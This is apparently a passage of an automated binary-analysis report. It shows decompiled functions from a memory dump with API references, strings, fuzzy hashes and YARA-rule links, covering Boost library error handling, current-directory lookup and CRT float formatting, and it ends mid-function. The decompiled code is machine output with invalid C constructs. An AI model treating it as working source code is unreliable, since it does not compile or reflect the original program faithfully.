					L0006C3B0(_t42, _t30, __edi, __esi, __eflags);
					goto L4;
				} else {
					if(GetProcAddress(_t26, _t56) == 0) {
						L4:
						_t32 = GetLastError();
						__eflags = _t32;
						_v80 = _t32;
						_v72 = 0x1522a0;
						_v76 = __eflags != 0;
						_t48 =  &_v80;
						asm("movq xmm0, [ebp-0x4c]");
						asm("movq [ebp-0x4c], xmm0");
						E0008E450(_t48, "boost::dll::shared_library::get() failed", _t58, _t59, __eflags);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t62);
						_push(0xffffffff);
						_push(0x12d3b8);
						_push( *[fs:0x0]);
						_push(_t48);
						_push(_t59);
						_t35 =  *0x16f170; // 0xd529e887
						_t36 = _t35 ^ _t65;
						__eflags = _t36;
						_push(_t36);
						 *[fs:0x0] =  &_v92;
						_t60 = _t48;
						_v96 = _t60;
						asm("xorps xmm0, xmm0");
						asm("movq [esi+0x4], xmm0");
						_v84 = 0;
						 *_t60 = 0x13b7a4;
						 *((intOrPtr*)(_t60 + 0xc)) = 4;
						E00064B40(_t60 + 0x10, "boost::dll::shared_library::get() failed", _v72);
						 *_t60 = 0x13b7bc;
						 *[fs:0x0] = _v92;
						return _t60;
					} else {
						 *[fs:0x0] = _v16;
						return E000ECED8(_v20 ^ _t62);
					}
				}
			}

0x0008ee00
0x0008ee00
0x0008ee03
0x0008ee05
0x0008ee10
0x0008ee11
0x0008ee14
0x0008ee19
0x0008ee1b
0x0008ee1e
0x0008ee22
0x0008ee28
0x0008ee2a
0x0008ee2f
0x0008ee63
0x0008ee68
0x0008ee6d
0x0008ee72
0x0008ee79
0x0008ee7d
0x0008ee83
0x0008ee8a
0x0008ee91
0x00000000
0x0008ee31
0x0008ee3b
0x0008ee96
0x0008ee96
0x0008ee9c
0x0008ee9e
0x0008eea6
0x0008eead
0x0008eeb1
0x0008eeb4
0x0008eeb9
0x0008eebe
0x0008eec3
0x0008eec4
0x0008eec5
0x0008eec6
0x0008eec7
0x0008eec8
0x0008eec9
0x0008eeca
0x0008eecb
0x0008eecc
0x0008eecd
0x0008eece
0x0008eecf
0x0008eed0
0x0008eed3
0x0008eed5
0x0008eee0
0x0008eee1
0x0008eee2
0x0008eee3
0x0008eee8
0x0008eee8
0x0008eeea
0x0008eeee
0x0008eef4
0x0008eef6
0x0008eef9
0x0008eefc
0x0008ef04
0x0008ef0e
0x0008ef14
0x0008ef1b
0x0008ef20
0x0008ef2b
0x0008ef37
0x0008ee3d
0x0008ee40
0x0008ee55
0x0008ee55
0x0008ee3b

APIs

GetProcAddress.KERNEL32(7757C452,00000000,D529E887,?,?,?,?,?,?,00000000,00130AC8,000000FF,?,00094BD5,RmGetList,D529E887), ref: 0008EE33

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 00054760: ___std_exception_copy.LIBVCRUNTIME ref: 00054788

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00130AC8,000000FF,?,00094BD5,RmGetList,D529E887), ref: 0008EE96

Part of subcall function 0008E450: FreeLibrary.KERNEL32(00000000,00000000,?,boost::dll::shared_library::get() failed,D529E887,?,?,?,?,?,?,?,?,00000000,001309A8,000000FF), ref: 0008E4BA

Strings

boost::dll::shared_library::get() failed: no library was loaded, xrefs: 0008EE68
boost::dll::shared_library::get() failed, xrefs: 0008EEA1

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: AddressErrorFeatureFreeLastLibraryPresentProcProcessor___raise_securityfailure___std_exception_copy
String ID: boost::dll::shared_library::get() failed$boost::dll::shared_library::get() failed: no library was loaded
API String ID: 352897833-3603709646
Opcode ID: 8e0d453756085338bea6663c5a2865c0a329fd774378ee409254defc56fcb574
Instruction ID: 70f0846bf35b5023515657e396c8838ca836e7f191923c79e1482f3cfe6ab6ee
Opcode Fuzzy Hash: 8e0d453756085338bea6663c5a2865c0a329fd774378ee409254defc56fcb574
Instruction Fuzzy Hash: A9312871A047489FDB10DFA4D941BAEBBB8FB49700F10862EE815A7681EB71A944CB91

Uniqueness

Uniqueness Score: 100.00%

Function 000A7600, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 94
UNIQUE

Download Yara Rule

C-Code - Quality: 81%

			E000A7600(intOrPtr* _a4, char _a8) {
				char _v8;
				char _v16;
				char _v20;
				intOrPtr* _v36;
				char _v40;
				char _v48;
				char _v52;
				signed int _t49;
				intOrPtr* _t77;
				intOrPtr* _t84;
				intOrPtr* _t87;
				signed int _t89;

				_push(0xffffffff);
				_push(0x13387c);
				_push( *[fs:0x0]);
				_t49 =  *0x16f170; // 0xd529e887
				_push(_t49 ^ _t89);
				_t1 =  &_v16; // 0xa7770
				 *[fs:0x0] = _t1;
				_v20 = 0;
				_v8 = 0;
				_t5 =  &_a8; // 0xa7770
				asm("xorps xmm0, xmm0");
				_v52 = 0x13a468;
				asm("movq [ebp-0x2c], xmm0");
				E001041DE( *_t5 + 4,  &_v48);
				asm("movaps xmm0, [0x153180]");
				asm("movups [ebp-0x20], xmm0");
				_v52 = 0x13b3a8;
				_v40 = 0x13b3b4;
				_t84 = _a4;
				_v8 = 1;
				 *((intOrPtr*)(_t84 + 0x20)) = 0x13b408;
				 *((intOrPtr*)(_t84 + 0x28)) = 0x13a594;
				_v8 = 2;
				_v20 = 6;
				E000A7830( &_v52);
				_t17 = _t84 + 0xc; // 0xc
				_t87 = _t17;
				 *_t84 = 0x13b3bc;
				 *_t87 = 0x13b3c8;
				_v8 = 4;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x20)) + 4)) + _t84 + 0x20)) = 0x13b3d0;
				_t24 =  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x20)) + 4)) - 8; // -8
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x20)) + 4)) + _t84 + 0x1c)) = _t24;
				E00053750(_t87,  &_v40);
				 *_t84 = 0x13b3e8;
				 *_t87 = 0x13b3f4;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x20)) + 4)) + _t84 + 0x20)) = 0x13b3fc;
				_t34 =  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x20)) + 4)) - 8; // -8
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x20)) + 4)) + _t84 + 0x1c)) = _t34;
				_v52 = 0x13b3a8;
				_v40 = 0x13a58c;
				_t77 = _v36;
				_v8 = 5;
				if(_t77 != 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *_t77 + 0x10))))();
					_t81 =  !=  ? 0 : _v36;
					_v36 =  !=  ? 0 : _v36;
				}
				_v8 = 6;
				_v52 = 0x13a468;
				E00104241( &_v48);
				_t47 =  &_v16; // 0xa7770
				 *[fs:0x0] =  *_t47;
				return _t84;
			}

0x000a7603
0x000a7605
0x000a7610
0x000a7616
0x000a761d
0x000a761e
0x000a7621
0x000a7627
0x000a7631
0x000a7639
0x000a763c
0x000a7642
0x000a764a
0x000a764f
0x000a7654
0x000a765e
0x000a7662
0x000a7669
0x000a7670
0x000a7673
0x000a767a
0x000a7681
0x000a768b
0x000a7692
0x000a7699
0x000a76a1
0x000a76a1
0x000a76a4
0x000a76aa
0x000a76b0
0x000a76ba
0x000a76c8
0x000a76cb
0x000a76d4
0x000a76df
0x000a76e5
0x000a76ee
0x000a76fc
0x000a76ff
0x000a7703
0x000a770a
0x000a7711
0x000a7714
0x000a771d
0x000a7724
0x000a772d
0x000a7730
0x000a7730
0x000a7736
0x000a773e
0x000a7745
0x000a774f
0x000a7752
0x000a775f

APIs

___std_exception_copy.LIBVCRUNTIME ref: 000A764F

Part of subcall function 000A7830: ___std_exception_copy.LIBVCRUNTIME ref: 000A787A

___std_exception_destroy.LIBVCRUNTIME ref: 000A7745

Strings

pw, xrefs: 000A7639, 000A7649
pw, xrefs: 000A761E, 000A774F

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ___std_exception_copy$___std_exception_destroy
String ID: pw$pw
API String ID: 4019986568-3600383131
Opcode ID: 3868c023a88f745204c7ad5815553fe7b3fb16b1578a501efa714aaf93b82800
Instruction ID: a2ba82d80135e0120726d3669c921610f976362b44a9ab545ef65af9b6388330
Opcode Fuzzy Hash: 3868c023a88f745204c7ad5815553fe7b3fb16b1578a501efa714aaf93b82800
Instruction Fuzzy Hash: 11412CB0A04619EFCB04CF58C984A9DFBF4FF49308F508259E858BB751E7B1AA54CB94

Uniqueness

Uniqueness Score: 100.00%

Function 000A9850, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
UNIQUE

Download Yara Rule

C-Code - Quality: 55%

			E000A9850(void* __ebx, short* _a4, intOrPtr _a8) {
				long _v8;
				char _v16;
				WCHAR* _v20;
				void* __ecx;
				void* __esi;
				signed int _t17;
				long _t26;
				short _t29;
				void* _t33;
				WCHAR* _t39;
				short* _t47;
				long _t49;
				long _t50;
				short* _t51;
				void* _t53;
				WCHAR* _t54;
				signed int _t56;

				_t33 = __ebx;
				_push(0xffffffff);
				_push(0x133c58);
				_push( *[fs:0x0]);
				_push(_t53);
				_t17 =  *0x16f170; // 0xd529e887
				_push(_t17 ^ _t56);
				 *[fs:0x0] =  &_v16;
				_t49 = GetCurrentDirectoryW(0, 0);
				_t50 =  ==  ? 1 : _t49;
				_push( ~(_t49 > 0) | _t50 * 0x00000002);
				_t54 = E000ED301( ~(_t49 > 0) | _t50 * 0x00000002, _t53, _t49);
				_v20 = _t54;
				_v8 = 0;
				if(GetCurrentDirectoryW(_t50, _t54) != 0) {
					_t26 = 0;
					__eflags = 0;
				} else {
					_t26 = GetLastError();
				}
				_push("boost::filesystem::current_path");
				E000AA340(_t26, _a8);
				_t51 = _a4;
				_t39 = _t54;
				 *(_t51 + 0x10) = 0;
				_t13 =  &(_t39[1]); // 0x2
				_t47 = _t13;
				 *((intOrPtr*)(_t51 + 0x14)) = 7;
				 *_t51 = 0;
				do {
					_t29 =  *_t39;
					_t39 =  &(_t39[1]);
				} while (_t29 != 0);
				_push(_t39 - _t47 >> 1);
				E00068410(_t33, _t51, _t47, _t54);
				L000ECEE9(_t54);
				 *[fs:0x0] = _v16;
				return _t51;
			}

0x000a9850
0x000a9853
0x000a9855
0x000a9860
0x000a9862
0x000a9864
0x000a986b
0x000a986f
0x000a987f
0x000a988d
0x000a989d
0x000a98a3
0x000a98a8
0x000a98ad
0x000a98bc
0x000a98c6
0x000a98c6
0x000a98be
0x000a98be
0x000a98be
0x000a98c8
0x000a98d1
0x000a98d6
0x000a98d9
0x000a98e0
0x000a98e7
0x000a98e7
0x000a98ea
0x000a98f1
0x000a98f4
0x000a98f4
0x000a98f7
0x000a98fa
0x000a9903
0x000a9907
0x000a990d
0x000a991a
0x000a9927

APIs

GetCurrentDirectoryW.KERNEL32(00000000,00000000,D529E887,?,?,?,?,00133C58,000000FF,?,0005C5B8,?,00000000,D529E887), ref: 000A9879
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 000A98B4
GetLastError.KERNEL32 ref: 000A98BE

Part of subcall function 000AA340: __CxxThrowException@8.LIBVCRUNTIME ref: 000AA3FE

Strings

boost::filesystem::current_path, xrefs: 000A98C8

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CurrentDirectory$ErrorException@8LastThrow
String ID: boost::filesystem::current_path
API String ID: 786775625-4026011040
Opcode ID: 73ac0aa19c41ac070a67cd6dfe416611502f4912b18e34c12e4dcf7075522e21
Instruction ID: 4699338592b4aa69152454d35bf8b8426d028808db26b0edd8160025cd20bb34
Opcode Fuzzy Hash: 73ac0aa19c41ac070a67cd6dfe416611502f4912b18e34c12e4dcf7075522e21
Instruction Fuzzy Hash: 91212771700240AFDB049F69DC06BBBB7E9EF85710F00422AF80AC7780EBB9A9008691

Uniqueness

Uniqueness Score: 100.00%

Function 0011E23B, Relevance: 6.3, APIs: 4, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0011E23B(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				void* _t171;
				signed int* _t172;
				signed int _t174;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t187;

				_t171 = __edx;
				_t181 = _a24;
				if(_t181 < 0) {
					_t181 = 0;
				}
				_t184 = _a8;
				 *_t184 = 0;
				E0010E0A3(0,  &_v52, _t171, _a36);
				_t5 = _t181 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t172 = _a4;
					_t142 = _t172[1];
					_v36 =  *_t172;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t184 = 0x2d;
							_t184 = _t184 + 1;
							__eflags = _t184;
						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t172[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
						if((_t172[1] & 0x7ff00000) != 0) {
							 *_t184 = 0x31;
							_t185 = _t184 + 1;
							__eflags = _t185;
						} else {
							 *_t184 = _t86;
							_t185 = _t184 + 1;
							_t164 =  *_t172 | _t172[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t185;
						_t186 = _t185 + 1;
						_v28 = _t146;
						__eflags = _t181;
						if(_t181 != 0) {
							_t30 = _v48 + 0x88; // 0xffce8305
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *_t30))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t172[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t181;
								if(_t181 <= 0) {
									break;
								}
								_t119 = E000ED830( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t172 = _a4;
								 *_t186 = _t121;
								_t186 = _t186 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t181 = _t181 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E000ED830( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t116 = _t186 - 1;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t172;
							if( *_t172 <= 0) {
								L39:
								__eflags = _t181;
								if(_t181 > 0) {
									_push(_t181);
									_t111 = 0x30;
									_push(_t111);
									_push(_t186);
									E001053E0(_t181);
									_t186 = _t186 + _t181;
									__eflags = _t186;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t186 = _t94;
								}
								__eflags = _a28;
								 *_t186 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t174 = _a4[1];
								_t100 = E000ED830( *_a4, 0x34, _t174);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t186 + 1) = 0x2d;
									_t187 = _t186 + 2;
									__eflags = _t187;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t186 + 1) = 0x2b;
										_t187 = _t186 + 2;
										L48:
										_t182 = _t187;
										_t101 = 0x30;
										 *_t187 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E0012C7F0();
												_v32 = _t174;
												 *_t187 = _t102 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												L61:
												_t104 = 0x30;
												_t183 = 0;
												__eflags = 0;
												 *_t187 = _t151 + _t104;
												 *(_t187 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E0012C7F0();
											_v32 = _t174;
											 *_t187 = _t107 + 0x30;
											_t187 = _t187 + 1;
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E0012C7F0();
												_v32 = _t174;
												 *_t187 = _t109 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t183 = E0011E53E(0, _t142, 0, _t172, _t184, _a12, _a16, _a20, _t181, 0, _a32, 0);
						__eflags = _t183;
						if(_t183 == 0) {
							_t128 = E0012C8D0(_t184, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t183 = 0;
						} else {
							 *_t184 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E0010FAC5();
					_t183 = 0x22;
					 *_t129 = _t183;
					E0010F43B();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
					}
					return _t183;
				}
			}

0x0011e23b
0x0011e246
0x0011e24d
0x0011e24f
0x0011e24f
0x0011e251
0x0011e25a
0x0011e25c
0x0011e261
0x0011e267
0x0011e27d
0x0011e282
0x0011e285
0x0011e292
0x0011e297
0x0011e2eb
0x0011e2f3
0x0011e2f5
0x0011e2f7
0x0011e2fa
0x0011e2fa
0x0011e2fa
0x0011e300
0x0011e308
0x0011e31b
0x0011e31e
0x0011e320
0x0011e323
0x0011e324
0x0011e345
0x0011e348
0x0011e348
0x0011e326
0x0011e326
0x0011e328
0x0011e333
0x0011e333
0x0011e335
0x0011e33c
0x0011e337
0x0011e337
0x0011e337
0x0011e335
0x0011e349
0x0011e34b
0x0011e34c
0x0011e34f
0x0011e351
0x0011e35b
0x0011e365
0x0011e353
0x0011e353
0x0011e353
0x0011e36a
0x0011e36a
0x0011e36f
0x0011e372
0x0011e37d
0x0011e37d
0x0011e37d
0x0011e37d
0x0011e381
0x0011e388
0x0011e389
0x0011e38c
0x0011e38f
0x0011e38f
0x0011e391
0x00000000
0x00000000
0x0011e3a9
0x0011e3b0
0x0011e3b4
0x0011e3b7
0x0011e3ba
0x0011e3bc
0x0011e3bc
0x0011e3bc
0x0011e3be
0x0011e3c1
0x0011e3c4
0x0011e3c6
0x0011e3ce
0x0011e3d4
0x0011e3d7
0x0011e3da
0x0011e3db
0x0011e3de
0x0011e3e1
0x0011e3e1
0x0011e3e6
0x0011e3e9
0x00000000
0x00000000
0x0011e401
0x0011e406
0x0011e40a
0x00000000
0x00000000
0x0011e40e
0x0011e411
0x0011e412
0x0011e412
0x0011e414
0x0011e417
0x00000000
0x00000000
0x0011e419
0x0011e41c
0x0011e423
0x0011e426
0x0011e429
0x0011e43f
0x0011e43f
0x0011e43f
0x0011e42b
0x0011e42b
0x0011e42d
0x0011e430
0x0011e43b
0x0011e432
0x0011e435
0x0011e435
0x0011e430
0x00000000
0x0011e429
0x0011e41e
0x0011e41e
0x0011e420
0x0011e420
0x0011e374
0x0011e374
0x0011e377
0x0011e442
0x0011e442
0x0011e444
0x0011e446
0x0011e449
0x0011e44a
0x0011e44b
0x0011e44c
0x0011e454
0x0011e454
0x0011e454
0x0011e456
0x0011e459
0x0011e45c
0x0011e45e
0x0011e45e
0x0011e460
0x0011e472
0x0011e476
0x0011e479
0x0011e480
0x0011e488
0x0011e488
0x0011e48b
0x0011e48d
0x0011e49e
0x0011e49e
0x0011e4a2
0x0011e4a2
0x0011e4a5
0x0011e4a7
0x0011e4aa
0x00000000
0x0011e48f
0x0011e48f
0x0011e495
0x0011e495
0x0011e499
0x0011e4ac
0x0011e4ac
0x0011e4b0
0x0011e4b1
0x0011e4b3
0x0011e4b5
0x0011e4f6
0x0011e4f6
0x0011e4f8
0x0011e505
0x0011e505
0x0011e507
0x0011e509
0x0011e50a
0x0011e50b
0x0011e512
0x0011e515
0x0011e517
0x0011e517
0x0011e518
0x0011e51a
0x0011e51d
0x0011e51d
0x0011e51f
0x0011e521
0x00000000
0x0011e521
0x0011e4fa
0x0011e4fc
0x00000000
0x00000000
0x0011e4fe
0x00000000
0x00000000
0x0011e500
0x0011e503
0x00000000
0x00000000
0x00000000
0x0011e503
0x0011e4bc
0x0011e4c2
0x0011e4c2
0x0011e4c4
0x0011e4c5
0x0011e4c6
0x0011e4c7
0x0011e4ce
0x0011e4d1
0x0011e4d3
0x0011e4d4
0x0011e4d6
0x0011e4e3
0x0011e4e3
0x0011e4e5
0x0011e4e7
0x0011e4e8
0x0011e4e9
0x0011e4f0
0x0011e4f3
0x0011e4f5
0x0011e4f5
0x00000000
0x0011e4f5
0x0011e4d8
0x0011e4d8
0x0011e4da
0x00000000
0x00000000
0x0011e4dc
0x00000000
0x00000000
0x0011e4de
0x0011e4e1
0x00000000
0x00000000
0x00000000
0x0011e4e1
0x0011e4be
0x0011e4c0
0x00000000
0x00000000
0x00000000
0x0011e4c0
0x0011e491
0x0011e493
0x00000000
0x00000000
0x00000000
0x0011e493
0x0011e48d
0x00000000
0x0011e377
0x0011e372
0x0011e299
0x0011e29b
0x00000000
0x0011e29d
0x0011e2b3
0x0011e2b8
0x0011e2ba
0x0011e2c6
0x0011e2cc
0x0011e2cd
0x0011e2cf
0x0011e2d1
0x0011e2dc
0x0011e2dc
0x0011e2df
0x0011e2e1
0x0011e2e1
0x0011e2e4
0x0011e2bc
0x0011e2bc
0x0011e2bc
0x00000000
0x0011e2ba
0x0011e269
0x0011e269
0x0011e270
0x0011e271
0x0011e273
0x0011e525
0x0011e529
0x0011e52e
0x0011e52e
0x0011e53d
0x0011e53d

APIs

_strrchr.LIBCMT ref: 0011E2C6
__alldvrm.LIBCMT ref: 0011E4C7
__alldvrm.LIBCMT ref: 0011E4E9
__alldvrm.LIBCMT ref: 0011E50B

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: a624e51bd86ee632ae4c860c68a3471031ac44e547c1f49891ded90ba26685bb
Instruction ID: 8c72800a36767ac389ae1540ff29f330b34f3dfb230ed49951ad03d720bb2b1a
Opcode Fuzzy Hash: a624e51bd86ee632ae4c860c68a3471031ac44e547c1f49891ded90ba26685bb
Instruction Fuzzy Hash: A3A16732A003969FEB298F98C8917EEBBE5EF25310F18417DED95DB281D3349981C751

Uniqueness

Uniqueness Score: 0.10%

Function 0007EA30, Relevance: 6.2, APIs: 4, Instructions: 191
processCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E0007EA30(long* __ecx, intOrPtr _a4, intOrPtr _a8, signed int _a12, long _a16) {
				intOrPtr* _v0;
				intOrPtr* _v4;
				signed int _v8;
				int _v16;
				int _v20;
				int _v24;
				long _v28;
				long _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char _v48;
				char _v52;
				signed int _v56;
				signed int* _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				char _v84;
				signed int _v88;
				signed int _v92;
				long _v96;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr* _v156;
				intOrPtr* _v160;
				signed int _v192;
				char _v200;
				signed int _v204;
				signed int _v208;
				intOrPtr _v212;
				intOrPtr _v220;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v268;
				signed int _v280;
				char _v288;
				intOrPtr _v292;
				signed int _v300;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t280;
				long _t284;
				long _t291;
				int _t293;
				signed int _t297;
				void* _t298;
				signed int _t301;
				signed int _t305;
				signed int* _t309;
				signed int _t317;
				void* _t318;
				void* _t321;
				signed int _t322;
				signed int _t328;
				signed int* _t332;
				signed int _t340;
				void* _t341;
				void* _t344;
				signed int _t345;
				signed int _t351;
				signed int _t354;
				intOrPtr* _t355;
				signed short _t356;
				signed int _t361;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				char _t367;
				void* _t370;
				intOrPtr* _t379;
				signed int _t380;
				signed int _t383;
				intOrPtr* _t385;
				signed int _t387;
				signed int _t389;
				signed int* _t391;
